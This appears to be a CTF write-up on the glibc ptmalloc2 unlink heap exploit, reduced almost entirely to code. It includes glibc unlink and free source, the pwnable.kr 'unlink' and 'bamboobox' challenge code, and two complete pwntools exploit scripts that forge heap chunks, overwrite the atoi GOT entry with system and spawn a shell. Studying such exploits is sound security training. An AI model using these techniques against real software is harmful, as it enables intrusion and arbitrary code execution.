Pwn Ptmalloc2 Unlink

1
2
3
4
5
6

void unlink(P) {
  BK = P->bk;
  FD = P->fd;
  FD->bk = BK;
  BK->fd = FD;
}

1
2
3
4
5
6
7
8
9

/* take a chunk off a list */

#define unlink(P, BK, FD)                                                     \
{                                                                             \
  BK = P->bk;                                                                 \
  FD = P->fd;                                                                 \
  FD->bk = BK;                                                                \
  BK->fd = FD;                                                                \
}                                                                             \

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

/* Take a chunk off a bin list */
#define unlink(P, BK, FD) {                                            \
  FD = P->fd;                                                          \
  BK = P->bk;                                                          \
  if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                \
    malloc_printerr (check_action, "corrupted double-linked list", P); \
  else {                                                               \
    FD->bk = BK;                                                       \
    BK->fd = FD;                                                       \
  }                                                                    \
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  \
    FD = P->fd;                     \
    BK = P->bk;                     \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))         \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {                      \
        FD->bk = BK;                    \
        BK->fd = FD;                    \
        ... // large chunk unlink part \
      }                       \
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
  struct tagOBJ* fd;
  struct tagOBJ* bk;
  char buf[8];
}OBJ;

void shell(){
  system("/bin/sh");
}

void unlink(OBJ* P){
  OBJ* BK;
  OBJ* FD;
  BK=P->bk;
  FD=P->fd;
  FD->bk=BK;
  BK->fd=FD;
}
int main(int argc, char* argv[]){
  malloc(1024);
  OBJ* A = (OBJ*)malloc(sizeof(OBJ));
  OBJ* B = (OBJ*)malloc(sizeof(OBJ));
  OBJ* C = (OBJ*)malloc(sizeof(OBJ));

  // double linked list: A <-> B <-> C
  A->fd = B;
  B->bk = A;
  B->fd = C;
  C->bk = B;

  printf("here is stack address leak: %p\n", &A);
  printf("here is heap address leak: %p\n", A);
  printf("now that you have leaks, get shell!\n");
  // heap overflow!
  gets(A->buf);

  // exploit this unlink!
  unlink(B);
  return 0;
}

1
2
3
4

0x080485ff      mov   ecx, dword [ebp - 4]
0x08048602      leave
0x08048603      lea   esp, [ecx - 4]
0x08048606      ret

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

from pwn import *
context(os="linux",arch="i386",log_level='debug')

# io = process('./unlink')
remote = ssh(host='pwnable.kr', port=2222, user='unlink', password='guest')
io = remote.process('./unlink')

elf = ELF('./unlink')
io.recvuntil(b'here is stack address leak: ')
stack = int(io.recvline(keepends=False), 16)
io.recvuntil(b'here is heap address leak: ')
heap = int(io.recvline(keepends=False), 16)
io.recvline()

shell = elf.sym['shell']
debug(f'shell_addr: {hex(shell)}')

payload = p32(shell) + b'a' * 12 + p32(stack + 12) + p32(heap + 12) # FD->bk = BK
# payload = p32(shell) + b'a' * 12 + p32(heap + 12) + p32(stack + 16) # BK->fd = FD

io.sendline(payload)
io.interactive()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void (**v4)(void); // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v4 = (void (**)(void))malloc(0x10uLL);
  *v4 = (void (*)(void))hello_message;
  v4[1] = (void (*)(void))goodbye_message;
  (*v4)();
  while ( 1 )
  {
    menu();
    read(0, buf, 8uLL);
    switch ( atoi(buf) )
    {
      case 1:
        show_item();
        break;
      case 2:
        add_item();
        break;
      case 3:
        change_item();
        break;
      case 4:
        remove_item();
        break;
      case 5:
        v4[1]();
        exit(0);
      default:
        puts("invaild choice!!!");
        break;
    }
  }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

int show_item()
{
  int i; // [rsp+Ch] [rbp-4h]

  if ( !num )
    return puts("No item in the box");
  for ( i = 0; i <= 99; ++i )
  {
    if ( itemlist[i].name )
      printf("%d : %s", (unsigned int)i, itemlist[i].name);
  }
  return puts("");
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

__int64 add_item()
{
  int i; // [rsp+4h] [rbp-1Ch]
  int size; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( num > 99 )
  {
    puts("the box is full");
  }
  else
  {
    printf("Please enter the length of item name:");
    read(0, buf, 8uLL);
    size = atoi(buf);
    if ( !size )
    {
      puts("invaild length");
      return 0LL;
    }
    for ( i = 0; i <= 99; ++i )
    {
      if ( !itemlist[i].name )
      {
        itemlist[i].size = size;
        itemlist[i].name = (char *)malloc(size);
        printf("Please enter the name of item:");
        itemlist[i].name[(int)read(0, itemlist[i].name, size)] = 0;
        ++num;
        return 0LL;
      }
    }
  }
  return 0LL;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

unsigned __int64 change_item()
{
  int index; // [rsp+4h] [rbp-2Ch]
  int size; // [rsp+8h] [rbp-28h]
  char buf[16]; // [rsp+10h] [rbp-20h] BYREF
  char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, buf, 8uLL);
    index = atoi(buf);
    if ( itemlist[index].name )
    {
      printf("Please enter the length of item name:");
      read(0, nptr, 8uLL);
      size = atoi(nptr);
      printf("Please enter the new name of the item:");
      itemlist[index].name[(int)read(0, itemlist[index].name, size)] = 0;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v5;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

unsigned __int64 remove_item()
{
  int index; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, buf, 8uLL);
    index = atoi(buf);
    if ( itemlist[index].name )
    {
      free(itemlist[index].name);
      itemlist[index].name = 0LL;
      itemlist[index].size = 0;
      puts("remove successful!!");
      --num;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v3;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

unsigned __int64 change_item()
{
    ...
    if ( itemlist[index].name )
    {
      printf("Please enter the length of item name:");
      read(0, nptr, 8uLL);
      size = atoi(nptr);
      printf("Please enter the new name of the item:");
      itemlist[index].name[(int)read(0, itemlist[index].name, size)] = 0;
    }
    ...
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

void
__libc_free (void *mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */

  // 如果有钩子 __free_hook, 则执行钩子, 不执行之后的 free
  void (*hook) (void *, const void *)
    = atomic_forced_read (__free_hook);
  if (__builtin_expect (hook != NULL, 0))
    {
      (*hook)(mem, RETURN_ADDRESS (0));
      return;
    }

  // free(NULL) 不起作用
  if (mem == 0)                              /* free(0) has no effect */
    return;

  // 将用户数据空间地址, 即 malloc 得到的地址, 转换成指向 chunk header 的地址
  // #define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))
  // 即减去 size 和 presize 的偏移, 就是 2 * SIZE_SZ
  p = mem2chunk (mem);

  // 如果是 mmap 得到的, 不属于 heap. 有另一种 free 的方法
  if (chunk_is_mmapped (p))                       /* release mmapped memory. */
    {
      ...
    }

  // 顾名思义, 得到当前 chunk p 的 arena
  ar_ptr = arena_for_chunk (p);
  // 这里才是真正 free 的地方
  _int_free (ar_ptr, p, 0);
}
libc_hidden_def (__libc_free)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130

/*
   ------------------------------ free ------------------------------
 */

static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
  INTERNAL_SIZE_T size;        /* its size */
  mfastbinptr *fb;             /* associated fastbin */
  mchunkptr nextchunk;         /* next contiguous chunk */
  INTERNAL_SIZE_T nextsize;    /* its size */
  int nextinuse;               /* true if nextchunk is used */
  INTERNAL_SIZE_T prevsize;    /* size of previous contiguous chunk */
  mchunkptr bck;               /* misc temp for linking */
  mchunkptr fwd;               /* misc temp for linking */

  const char *errstr = NULL;
  int locked = 0;

  size = chunksize (p);

  // 一些简单的检查
  ...

  /*
    If eligible, place chunk on a fastbin so it can be found
    and used quickly in malloc.
  */
  /*
    如果 size 在 fastbin 最大以内, 丢入 fastbin 中.
    下面的代码不用细看, 因为没有 unlink 操作. 下面就不放了.
    所以, 要触发 free 的 unlink, 至少是 small chunk
    #define get_max_fast() global_max_fast
    变量的定义也是通过计算得到的, 有些复杂, 直接说结论
    global_max_fast 大小是 0x80
  */

  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

#if TRIM_FASTBINS
      /*
  If TRIM_FASTBINS set, don't place chunks
  bordering top into fastbins
      */
      && (chunk_at_offset(p, size) != av->top)
#endif
      ) {
    ...
  }

  /*
    Consolidate other non-mmapped chunks as they arrive.
  */
  // 如果不是 mmap 得到的, 那就是 small chunk 和 large chunk
  else if (!chunk_is_mmapped(p)) {

    ...

    nextchunk = chunk_at_offset(p, size);

    ...

    nextsize = chunksize(nextchunk);

    ...

    /* consolidate backward */
    // 向后合并. 如果上一个 chunk 是 free chunk
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      /*
        上面三句可以看到, 现在的 p 变成了前面一个 chunk 的地址了.
        然后 unlink 前面一个 chunk
        unlink 是一个宏, 它里面会对 bck 和 fwd 修改
        就直接修改了当前函数的局部变量 bck, fwd 了
      */
      unlink(av, p, bck, fwd);
    }

    // 如果前不是 top chunk
    if (nextchunk != av->top) {
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

      /* consolidate forward */
      // 向前合并. 如果下一个 (非 top) chunk 是 free chunk
      if (!nextinuse) {
  unlink(av, nextchunk, bck, fwd);
  size += nextsize;
      } else
  clear_inuse_bit_at_offset(nextchunk, 0);

      /*
  Place the chunk in unsorted chunk list. Chunks are
  not placed into regular bins until after they have
  been given one chance to be used in malloc.
      */

      // 放入 unsort bin 中
      ...

      // 设置头部的 size
      set_head(p, size | PREV_INUSE);
      // 设置下一个 chunk 头部的 presize
      set_foot(p, size);

      ...
    }

    /*
      If the chunk borders the current high end of memory,
      consolidate into top
    */
    // 前一个是 top chunk, 合并到 top chunk
    else {
      ...
    }

    ...

  /*
    If the chunk was allocated via mmap, release via munmap().
  */
  // 最后如果是 mmap 得到的, 用另一种方法释放
  else {
    munmap_chunk (p);
  }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

from pwn import *

context(os = 'linux', arch = 'amd64', log_level = 'debug')

io = process('./bamboobox')
elf = ELF('./bamboobox')
libc = ELF('/home/wings/CTF/tools/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')

def n2b(num):
  return str(num).encode()

def op(i):
  io.sendafter(b'Your choice:', n2b(i))

def add(length, name):
  op(2)
  io.sendafter(b'Please enter the length of item name:', n2b(length))
  io.sendafter(b'Please enter the name of item:', name)

def show():
  op(1)

def change(index, length, name):
  op(3)
  io.sendafter(b'Please enter the index of item:', n2b(index))
  io.sendafter(b'Please enter the length of item name:', n2b(length))
  io.sendafter(b'Please enter the new name of the item:', name)

def remove(index):
  op(4)
  io.sendafter(b'Please enter the index of item:', n2b(index))

add(0x20, b'a' * 0x20)
add(0x80, b'b' * 0x80)

itemlist = elf.sym['itemlist']
itemlist_0_name_ptr = itemlist + 0x8

fake_chunk = p64(0)
fake_chunk += p64(0x21)
fake_chunk += p64(itemlist_0_name_ptr - 0x8 * 3)
fake_chunk += p64(itemlist_0_name_ptr - 0x8 * 2)

overlap = p64(0x20)
overlap += p64(0x90)

change(0, len(fake_chunk + overlap), fake_chunk + overlap)
remove(1)

got_atoi = elf.got['atoi']
payload = p64(0) * 3 + p64(got_atoi)
change(0, len(payload), payload)
show()
io.recvuntil(b'0 : ')
atoi = u64(io.recv(6).ljust(8, b'\x00'))
success(f'atoi_addr: {hex(atoi)}')

libc_atoi = libc.sym['atoi']
libc_offset = atoi - libc_atoi
system = libc.sym['system'] + libc_offset

payload = p64(system)
change(0, len(payload), payload)
io.sendafter(b'Your choice:', '/bin/sh')
io.interactive()